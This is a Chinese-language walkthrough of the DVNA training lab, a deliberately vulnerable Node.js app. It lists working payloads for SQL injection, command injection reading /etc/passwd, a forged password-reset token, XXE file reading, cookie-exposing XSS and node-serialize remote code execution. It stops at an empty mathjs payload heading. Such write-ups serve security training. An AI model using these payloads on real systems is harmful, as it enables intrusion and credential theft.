简介：
DVNA（Damn Vulnerable Node Application），它是一款由Node.js打造的知名WEB漏洞测试平台，或许有些朋友已经使用过。它是用来给使用Node的WEB开发人员演示如何进行安全编码，以及让网络安全爱好者进行夺旗比赛的平台。其中，这个平台里包含常见的WEB漏洞，并且分级成不同层次
安装：
https://github.com/konceptz/DVNA
hacking：
A1 Injection
SQL Injection
http://127.0.0.1:9090/app/usersearch
Payloads:
'
' or '1'='1
'or''='
当前用户信息和数据库版本信息查询
payload：
' union select version(),1 from information_schema.tables -- //
查询账户密码：
payload：
' UNION SELECT password,login from Users -- //
Command Injection
Payloads:
8.8.8.8 && cat /etc/passwd && id
hha || id
A2 Broken authentication
重置密码接口地址：
http://127.0.0.1:9090/resetpw?login=<username>&token=<md5(username)>
echo -n 'admin' | md5sum
可以重置任意用户的密码
A3 Sensitive data exposure
http://127.0.0.1:9090/app/admin/users
A4 XML external entities
Paylaod:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///etc/passwd" >]>
<products>
<product>
<name>Playstation 4</name>
<code>274</code>
<tags>gaming console</tags>
<description>&bar;</description>
</product>
</products>
以上内容保存成*.xml 格式的文件
A5 broken access control
http://127.0.0.1:9090/app/useredit
此接口可以更改任意用户的密码，只需要提供账户和邮箱地址即可
对UID没有判断，可以控制UID来修改任意用户的密码
A6 security misconfiguration
泄露网站的物理路径
A7 cross-site scripting
Reflected XSS in Search Query
payloads：
<script>alert('Cookie:'+document.cookie)</script>
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
Stored XSS in Product Listing
只要浏览到此页面就会触发XSS 漏洞
DOM XSS in user listing
A8 insecure deseriliaztion
Payload:
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });}()"}
A9 Using Components with Known Vulnerabilities
mathjs Remote Code Execution
Payload:
